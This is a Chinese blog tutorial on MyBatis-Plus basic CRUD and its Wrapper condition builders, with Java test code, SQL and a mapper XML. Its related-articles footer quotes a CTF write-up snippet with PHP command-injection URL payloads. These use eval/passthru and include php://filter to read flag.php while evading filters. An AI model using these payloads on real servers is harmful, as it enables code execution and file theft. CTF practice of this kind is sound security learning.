当前位置: 首页 > news >正文

MyBatisPlus基础操作之增删改查

目录

一、基本使用

1.1 插入数据

1.2 删除操作

1.3 更新操作

二、条件构造器Wrapper

2.1 常用AbstractWrapper方法

2.1.1 示例一

2.2.2 示例二

2.2.3 示例三

 2.2 常用QueryWrapper方法

2.2.1 示例一

2.2.2 示例二 

2.2.3 示例三(常用)

2.3 常用UpdateWrapper方法

2.3.1 示例一

三、 Lambda条件构造器

3.1 示例一

 四、实现自定义SQL

4.1 准备工作

 4.2 Mybatis方法


一、基本使用

下列涉及的User表如下所示:

1.1 插入数据

我们可以使用insert方法来实现数据的插入。

示例:

    @Testpublic void testInsert(){User user = new User();user.setUserName("fff33");user.setPassword("77888");int r = userMapper.insert(user);System.out.println(r);}

1.2 删除操作

我们可以使用deleteXXX方法来实现数据的删除。

示例:

    @Testpublic void testDelete(){List<Integer> ids = new ArrayList<>();ids.add(5);ids.add(6);ids.add(7);int i = userMapper.deleteBatchIds(ids);System.out.println(i);}@Testpublic void testDeleteById(){int i = userMapper.deleteById(8);System.out.println(i);}@Testpublic void testDeleteByMap(){Map<String, Object> map = new HashMap<>();map.put("name","提姆");map.put("age",22);int i = userMapper.deleteByMap(map);System.out.println(i);}

这里的deleteByMap实际执行的操作如下:

1.3 更新操作

我们可以使用updateXXX方法来实现数据的删除。

示例:

    @Testpublic void testUpdate(){//把id为2的用户的年龄改为14User user = new User();user.setId(2L);user.setAge(14);int i = userMapper.updateById(user);System.out.println(i);}

二、条件构造器Wrapper

概述 :我们在实际操作数据库的时候会涉及到很多的条件。所以MP为我们提供了一个功能强大的条件构造器 Wrapper 。使用它可以让我们非常方便的构造条件。 其继承体系如下:

在其子类 AbstractWrapper 中提供了很多用于构造Where条件的方法。 

AbstractWrapper 的子类 QueryWrapper 则额外提供了用于针对Select语法的 select 方法。可以用来设置查询哪些列。

AbstractWrapper 的子类 updateWrapper 则额外提供了用于针对Set语法的set方法。可以用来设置对哪些列进行更新。

2.1 常用AbstractWrapper方法

eq:equals,等于 =

gt:greater than ,大于 >

ge:greater than or equals,大于等于≥

lt:less than,小于<

le:less than or equals,小于等于≤

between:相当于SQL中的BETWEEN

like:模 糊匹配。like("name","黄"),相当于SQL的name like '%黄%'

likeRight:模糊匹配右半边。 likeRight("name","黄"),相当于SQL的name like '黄%'

likeLeft:模糊匹配左半边。 likeLeft("name","黄"),相当于SQL的name like '%黄'

and:SQL连接符AND

or:SQL连接符OR

in: in(“age",{1,2,3})相当于 age in(1,2,3)

groupBy: groupBy("id","name")相当于 group by id,name

orderByAsc :orderByAsc("id","name")相当于 order by id ASC,name ASC

orderByDesc :orderByDesc ("id","name")相当于 order by id DESC,name DESC

2.1.1 示例一

SQL语句如下:

SELECT id,user_name,PASSWORD,NAME,age,address 
FROM USER 
WHERE age > 18 AND address = '狐山'

如果用Wrapper写法如下: 

 @Testpublic void testWrapper01(){QueryWrapper<User> wrapper = new QueryWrapper<>();wrapper.gt("age",18);wrapper.eq("address","狐山");List<User> users = userMapper.selectList(wrapper);System.out.println(users);}

我们可以通过调试来验证这一观点,调用wrapper的getCustomSqlSegment方法: 

2.2.2 示例二

SQL语句如下:

SELECT id,user_name,PASSWORD,NAME,age,address 
FROM USER 
WHERE id IN(1,2,3) AND age BETWEEN 12 AND 29 AND address LIKE '%山%'

如果用Wrapper写法如下:

    @Testpublic void testWrapper02(){QueryWrapper<User> wrapper = new QueryWrapper<>();wrapper.in("id",1,2,3);wrapper.between("age",12,29);wrapper.like("address","山");List<User> users = userMapper.selectList(wrapper);System.out.println(users);}

2.2.3 示例三

SQL语句如下:

SELECT id,user_name,PASSWORD,NAME,age,address 
FROM USER 
WHERE id IN(1,2,3) AND age > 10 ORDER BY age DESC

如果用Wrapper写法如下:

@Testpublic void testWrapper03(){QueryWrapper<User> queryWrapper = new QueryWrapper<>();queryWrapper.in("id",1,2,3);queryWrapper.gt("age",10);queryWrapper.orderByDesc("age");List<User> users = userMapper.selectList(queryWrapper);System.out.println(users);}

 2.2 常用QueryWrapper方法

QueryWrapper的 select 方法可以设置要查询的列。

2.2.1 示例一

select(String... sqlSelect) 方法的测试为要查询的列名

SQL语句如下:

SELECT id,user_name
FROM USER 

MP写法如下:

@Testpublic void testSelect01(){QueryWrapper<User> queryWrapper = new QueryWrapper<>();queryWrapper.select("id","user_name");List<User> users = userMapper.selectList(queryWrapper);System.out.println(users);}

2.2.2 示例二 

select(Class entityClass, Predicate predicate)

方法的第一个参数为实体类的字节码对象,第二个参数为Predicate类型,即函数式接口,可以使用lambda的写法,过滤要查询的字段 (主键除外) 。

SELECT id,user_name
FROM USER 

MP写法如下:

    @Testpublic void testSelect02(){QueryWrapper<User> queryWrapper = new QueryWrapper<>();queryWrapper.select(User.class, new Predicate<TableFieldInfo>() {@Overridepublic boolean test(TableFieldInfo tableFieldInfo) {return "user_name".equals(tableFieldInfo.getColumn());}});List<User> users = userMapper.selectList(queryWrapper);System.out.println(users);}

分析: 

第一次循环(id是默认有的,所以不参与):

第二次循环:

这个方法内部其实就是遍历数据库中相对应的User表,tableFieldInfo的column属性会通过循环的方式拿到每个表的属性,然后进行匹配,如果匹配结果为true,就返回这个属性所对应的结果。  

2.2.3 示例三(常用)

select(Predicate predicate)

方法第一个参数为Predicate类型,可以使用lambda的写法,过滤要查询的字段 (主键除外) 。

 SQL语句如下:

SELECT id,user_name,PASSWORD,NAME,age 
FROM USER

 就是不想查询address这列,其他列都查询了。

MP写法如下:

 @Testpublic void testSelect03(){QueryWrapper<User> queryWrapper = new QueryWrapper<>(new User());queryWrapper.select(new Predicate<TableFieldInfo>() {@Overridepublic boolean test(TableFieldInfo tableFieldInfo) {return !"address".equals(tableFieldInfo.getColumn());}});List<User> users = userMapper.selectList(queryWrapper);System.out.println(users);}

分析: 

这是由于这个select方法需要传递entity对象,没有传递无法调用。

2.3 常用UpdateWrapper方法

我们前面在使用update方法时需要创建一个实体类对象传入,用来指定要更新的列及对应的值。但是如 果需要更新的列比较少时,创建这么一个对象显的有点麻烦和复杂。

我们可以使用UpdateWrapper的set方法来设置要更新的列及其值。同时这种方式也可以使用Wrapper 去指定更复杂的更新条件。

2.3.1 示例一

SQL语句如下:

UPDATE USER
SET age = 99
where id > 1

我们想把id大于1的用户的年龄修改为99,则可以使用如下写法:

@Testpublic void testUpdateWrapper(){UpdateWrapper<User> updateWrapper = new UpdateWrapper<>();updateWrapper.gt("id",1);updateWrapper.set("age",99);userMapper.update(null,updateWrapper);}

三、 Lambda条件构造器

我们前面在使用条件构造器时列名都是用字符串的形式去指定。这种方式无法在编译期确定列名的合法 性。

所以MP提供了一个Lambda条件构造器可以让我们直接以实体类的方法引用的形式来指定列名。这样就 可以弥补上述缺陷。 

3.1 示例一

要执行的查询对应的SQL如下:

SELECT id,user_name,PASSWORD,NAME,age,address 
FROM USER 
WHERE age > 18 AND address = '狐山'

 如果使用之前的条件构造器写法如下:

@Testpublic void testLambdaWrapper(){QueryWrapper<User> queryWrapper = new QueryWrapper();queryWrapper.gt("age",18);queryWrapper.eq("address","狐山");List<User> users = userMapper.selectList(queryWrapper);}

如果使用Lambda条件构造器写法如下:

@Testpublic void testLambdaWrapper2(){LambdaQueryWrapper<User> queryWrapper = new LambdaQueryWrapper<>();queryWrapper.gt(User::getAge,18);queryWrapper.eq(User::getAddress,"狐山");List<User> users = userMapper.selectList(queryWrapper);}

 四、实现自定义SQL

4.1 准备工作

 SQL文件:

CREATE TABLE `orders` (`id` bigint(20) NOT NULL AUTO_INCREMENT,`price` int(11) DEFAULT NULL COMMENT '价格',`remark` varchar(100) DEFAULT NULL COMMENT '备注',`user_id` int(11) DEFAULT NULL COMMENT '用户id',`update_time` timestamp NULL DEFAULT NULL COMMENT '更新时间',`create_time` timestamp NULL DEFAULT NULL COMMENT '创建时间',`version` int(11) DEFAULT '1' COMMENT '版本',`del_flag` int(1) DEFAULT '0' COMMENT '逻辑删除标识,0-未删除,1-已删除',`create_by` varchar(100) DEFAULT NULL COMMENT '创建人',`update_by` varchar(100) DEFAULT NULL COMMENT '更新人',PRIMARY KEY (`id`)) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8;INSERT INTO `orders`(`id`,`price`,`remark`,`user_id`,`update_time`,`create_time`,`version`,`del_flag`,`create_by`,`update_by`) 
VALUES (1,2000,'无',2,'2021-08-24 21:02:43','2021-08-24 21:02:46',1,0,NULL,NULL),(2,3000,'无',3,'2021-08-24 21:03:32','2021-08-24 21:03:35',1,0,NULL,NULL),(3,4000,'无',2,'2021-08-24 21:03:39','2021-08-24 21:03:41',1,0,NULL,NULL);

创建实体类:

package com.fox.mp.domain;import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;import java.time.LocalDateTime;@Data
@NoArgsConstructor
@AllArgsConstructor
public class Orders  {private Long id;/*** 价格*/private Integer price;/*** 备注*/private String remark;/*** 用户id*/private Integer userId;/*** 更新时间*/private LocalDateTime updateTime;/*** 创建时间*/private LocalDateTime createTime;/*** 版本*/private Integer version;/*** 逻辑删除标识,0-未删除,1-已删除*/private Integer delFlag;}

 4.2 Mybatis方法

定义方法

public interface UserMapper extends BaseMapper<User> {User findMyUser(Long id);
}

在Mapper接口中定义方法,这里没用@Mapper注解的原因是因为在启动类上设置了扫描组件: 

创建XML文件

 先在yml文件中配置xml文件的存放目录:

mybatis-plus:mapper-locations: classpath*:/mapper/**/*.xml

创建对应的xml映射文件,这里我们是使用MybatisX这个插件快速生成对应的xml文件:

 在xml文件中书写对应的SQL语句:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd" >
<mapper namespace="com.fox.mp.mapper.UserMapper"><select id="findMyUser" resultType="com.fox.mp.domain.User">select * from tb_user where id = #{id}</select>
</mapper>

 

 

 

相关文章:

MyBatisPlus基础操作之增删改查

目录 一、基本使用 1.1 插入数据 1.2 删除操作 1.3 更新操作 二、条件构造器Wrapper 2.1 常用AbstractWrapper方法 2.1.1 示例一 2.2.2 示例二 2.2.3 示例三 2.2 常用QueryWrapper方法 2.2.1 示例一 2.2.2 示例二 2.2.3 示例三&#xff08;常用&#xff09; 2.3 常…...

视频处理学习笔记1:YUYV422、NV12和h264

最近因为工作关系在恶补视频相关知识点&#xff0c;在此做一记录便于日后复习。 以下均是个人学习经验总结&#xff0c;可能存在错误和坑&#xff0c;欢迎大佬指教。 工作中用到的是YUYV422存储格式。存储的就是裸流YUYV422格式文件。 YUYV422是两个像素点共用一个UV分量&am…...

CTFshow web(命令执行29-36)

?ceval($_GET[shy]);&shypassthru(cat flag.php); #逃逸过滤 ?cinclude%09$_GET[shy]?>&shyphp://filter/readconvert.base64-encode/resourceflag.php #文件包含 ?cinclude%0a$_GET[cmd]?>&cmdphp://filter/readconvert.base64-encode/…...

PyTorch深度学习实战(23)——从零开始实现SSD目标检测

PyTorch深度学习实战&#xff08;23&#xff09;——从零开始实现SSD目标检测 0. 前言1. SSD 目标检测模型1.1 SSD 网络架构1.2 利用不同网络层执行边界框和类别预测1.3 不同网络层中默认框的尺寸和宽高比1.4 数据准备1.5 模型训练 2. 实现 SSD 目标检测2.1 SSD300 架构2.2 Mul…...

【附代码】NumPy加速库NumExpr(大数据)

文章目录 相关文献测试电脑配置数组加减乘除数组乘方Pandas加减乘除总结 作者&#xff1a;小猪快跑 基础数学&计算数学&#xff0c;从事优化领域5年&#xff0c;主要研究方向&#xff1a;MIP求解器、整数规划、随机规划、智能优化算法 如有错误&#xff0c;欢迎指正。如有…...

4、安全开发-Python-蓝队项目流量攻击分析文件动态监控图片隐写技术

用途&#xff1a;个人学习笔记&#xff0c;有所借鉴&#xff0c;欢迎指正&#xff01; 总结&#xff1a; &#xff08;1&#xff09;使用python脚本Scapy库实现指定网卡的流量抓包分析 &#xff08;2&#xff09;使用python脚本Watchdog实现指定目录文件行为监控 &#xff08;…...

MySQL 日志管理

4.6&#xff09;日志管理 MySQL 支持丰富的日志类型&#xff0c;如下&#xff1a; 事务日志&#xff1a;transaction log 事务日志的写入类型为 "追加"&#xff0c;因此其操作为 "顺序IO"&#xff1b; 通常也被称为&#xff1a;预写式日志 write ahead…...

Python CSV文件读取和写入

本文主要为Python 实现CSV文件读取和写入操作。 CSV文件写入和读取 因为没有现成的csv文件&#xff0c;所以csv的顺序为先写入后读取。 写入 创建csv文件并把数据写入&#xff0c;有两种实现方式&#xff1a;直接插入所有行和插入单行。 示例如下&#xff1a; import csv i…...

如何使用C#调用LabVIEW算法

新建一个工程 这是必须的&#xff1b; 创建项目 项目 点击完成&#xff1b; 将项目另存为&#xff1b;方便后续的使用&#xff1b; 创建 一个测试VI 功能很简单&#xff0c;用的一个加法&#xff1b;将加数A&#xff0c;B设置为输入&#xff0c;和C设置为输出&#xff0c;…...

调用百度文心AI作画API实现中文-图像跨模态生成

作者介绍 乔冠华&#xff0c;女&#xff0c;西安工程大学电子信息学院&#xff0c;2020级硕士研究生&#xff0c;张宏伟人工智能课题组。 研究方向&#xff1a;机器视觉与人工智能。 电子邮件&#xff1a;1078914066qq.com 一&#xff0e;文心AI作画API介绍 1. 文心AI作画 文…...

JAVA SpringBoot中使用redis的事务

目录 一、Java语言介绍 二、SpringBoot框架介绍 三、Redis缓存介绍 四、什么是redis的事务 一、Java语言介绍 Java是一种广泛使用的高级编程语言,由Sun Microsystems公司于1995年推出。它的设计目标是要求“一次编写,到处运行”&#xff08;Write Once, Run Anywhere, WOR…...

docker部署自己的网站wordpress

目录 安装 1.创建目录 2.创建并启动mysql 3.创建并启动wordpress 使用 1.设置语言 2.设置基础信息 3.首页 安装 1.创建目录 mkdir -p /opt/wordpress/{db,data} 2.创建并启动mysql docker run -d --name my_mysql --restart always -e MYSQL_ROOT_PASSWORD123456 -e …...

基于ISO13400 (DoIP) 实现车辆刷写

近年来&#xff0c;在整车研发中基于以太网实现车辆高带宽通讯无疑是人们热议的话题。无论是车内基于车载以太网来减少线束成本&#xff0c;实现ADAS、信息娱乐系统等技术&#xff0c;还是基于新的电子电气架构以及远程诊断需求来实现以太网诊断&#xff08;DoIP&#xff09;&a…...

Chrome 沙箱逃逸 -- Plaid CTF 2020 mojo

文章目录 前置知识参考文章环境搭建题目环境调试环境 题目分析附件分析漏洞分析OOBUAF 漏洞利用总结 前置知识 Mojo & Services 简介 chromium mojo 快速入门 Mojo docs Intro to Mojo & Services 译文&#xff1a;利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸原文…...

汇编笔记 01

小蒟蒻的汇编自学笔记&#xff0c;如有错误&#xff0c;望不吝赐教 文章目录 笔记编辑器&#xff0c;启动&#xff01;debug功能CS & IPmovaddsub汇编语言寄存器的英文全称中英对照表muldivandor 笔记 编辑器&#xff0c;启动&#xff01; 进入 debug 模式 debug功能 …...

C语言:矩阵中的最小元素

题目描述 给定一个5X5的整数矩阵&#xff0c;找出其中最小的元素&#xff0c;输出所在的行号、列号和元素值&#xff0c;其中行号和列号都从0开始。 例如&#xff0c;有矩阵&#xff1a; 5 86 53 50 18 25 67 79 44 68 79 63 24 84 100 42 30 59 47 37 28 10 32 23 81 其中最小…...

【原创】MQTT开发笔记(四)- 压力测试

一、前言 Jmeter 是 apache 公司基于 java 开发的一款开源压力测试工具&#xff0c;体积小&#xff0c;功能全&#xff0c;使用方便&#xff0c;是一个比较轻量级的测试工具&#xff0c;使用起来非常简 单。因为 jmeter 是 java 开发的&#xff0c;所以运行的时候必须先要安装 …...

vue 引入 百度地图API 和 路书

公司项目中&#xff0c;偶尔都会涉及到地图的使用&#xff0c;这里以百度地图为例&#xff0c;我们梳理一下引用流程及注意点 账号和获取密钥 百度地图示例 百度地图 类参考 1、账号和获取密钥 // api.map.baidu.com/api?typewebgl&v3.0&ak您的密钥<script type…...

【QT+QGIS跨平台编译】之二十六:【SpatialIndex+Qt跨平台编译】(一套代码、一套框架,跨平台编译)

文章目录 一、SpatialIndex介绍二、文件下载三、文件分析四、pro文件五、编译实践一、SpatialIndex介绍 SpatialIndex是一个用于高效处理空间数据的C++库,基于R树索引结构实现。它提供了一系列的空间操作和查询算法,能够快速地对大规模空间数据进行检索和分析。 SpatialInd…...

SQL在云计算中的新角色:重新定义数据分析

文章目录 1. 云计算与数据分析的融合2. SQL在云计算中的新角色3. 分布式SQL查询引擎4. SQL-on-Hadoop解决方案5. SQL与其他数据分析工具的集成6. 实时数据分析与SQL7. SQL在云数据仓库中的角色8. 安全性与隐私保护9. SQL的未来展望《SQL数据分析实战&#xff08;第2版&#xff…...

Minimum Snap轨迹优化:从理论到实践的无人机巡检路径规划

1. 为什么无人机巡检需要Minimum Snap算法 去年给某电力公司做巡检方案时&#xff0c;他们的老飞手给我看了一段视频&#xff1a;无人机在高压线塔间穿行时&#xff0c;摄像头画面抖动得像在跳机械舞&#xff0c;关键部位的图像全是模糊的残影。这正是传统航点飞行模式的典型痛…...

XUnity.AutoTranslator:Unity游戏自动翻译解决方案

XUnity.AutoTranslator&#xff1a;Unity游戏自动翻译解决方案 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator XUnity.AutoTranslator是一款专业的Unity游戏自动翻译插件&#xff0c;能够实时将游戏文本转…...

MQTTX连接风暴下的ECONNRESET:从异常表象到服务端会话队列的深度剖析

1. 当MQTTX遭遇连接风暴&#xff1a;ECONNRESET异常现象解析 第一次看到控制台刷出"READ ECONNRESET"错误时&#xff0c;我正端着咖啡准备测试新部署的MQTT集群。这个看似简单的网络断开提示&#xff0c;背后隐藏着服务端会话队列的深度博弈。想象一下早高峰的地铁闸…...

RWKV7-1.5B-G1A跨平台部署实战:从Windows开发到Linux生产环境

RWKV7-1.5B-G1A跨平台部署实战&#xff1a;从Windows开发到Linux生产环境 1. 引言 最近在开发一个基于RWKV7-1.5B-G1A的智能写作助手&#xff0c;遇到了一个很实际的问题&#xff1a;在Windows笔记本上开发调试很方便&#xff0c;但真正要上线服务时&#xff0c;又需要在Linu…...

nli-distilroberta-base商业应用:广告文案与目标人群画像的逻辑契合度评估

nli-distilroberta-base商业应用&#xff1a;广告文案与目标人群画像的逻辑契合度评估 1. 项目概述 nli-distilroberta-base是基于DistilRoBERTa模型的自然语言推理(NLI)服务&#xff0c;专门用于分析两段文本之间的逻辑关系。这个轻量级模型经过蒸馏训练&#xff0c;在保持R…...

CherryStudio 在火山引擎上的实战应用:构建高可用微服务架构

在微服务架构大行其道的今天&#xff0c;我们团队也面临着许多开发者共同的烦恼&#xff1a;服务数量一多&#xff0c;管理起来就头疼。服务之间怎么互相找到对方&#xff1f;流量来了怎么公平分配&#xff1f;某个服务挂了会不会引发雪崩&#xff1f;这些问题不解决&#xff0…...

Jellyfin演员头像总是不全?试试这个TMM刮削+本地导入的终极方案

Jellyfin演员头像缺失难题的工程级解决方案&#xff1a;TMM刮削与本地化元数据管理实践 每次打开精心搭建的Jellyfin影音库&#xff0c;看到那些残缺不全的演员头像&#xff0c;就像翻开一本缺页的相册——这种体验对于追求完美的影音爱好者来说简直难以忍受。经过反复测试发现…...

Pixel Fashion Atelier新手教程:非对称RPG布局下各模块功能与协作逻辑详解

Pixel Fashion Atelier新手教程&#xff1a;非对称RPG布局下各模块功能与协作逻辑详解 1. 认识像素时装锻造坊 Pixel Fashion Atelier&#xff08;像素时装锻造坊&#xff09;是一款基于Stable Diffusion与Anything-v5的图像生成工具&#xff0c;它通过独特的RPG游戏界面设计…...

为什么你的AI服务OOM频发?Python智能体内存管理5个致命配置错误,今天必须修复

第一章&#xff1a;AI服务OOM频发的底层归因与诊断路径AI服务在高并发推理或大模型微调场景下频繁触发OOM&#xff08;Out-of-Memory&#xff09;&#xff0c;表面是内存耗尽&#xff0c;实则根植于资源抽象层与运行时协同机制的结构性失配。现代AI框架&#xff08;如PyTorch、…...

StructBERT模型本地部署详解:从GitHub克隆到服务启动

StructBERT模型本地部署详解&#xff1a;从GitHub克隆到服务启动 你是不是也遇到过这样的场景&#xff1f;手头有一堆文本&#xff0c;需要快速判断它们之间的相似度&#xff0c;比如检查文章是否重复、匹配用户查询、或者做智能问答。如果每次都调用云端API&#xff0c;不仅费…...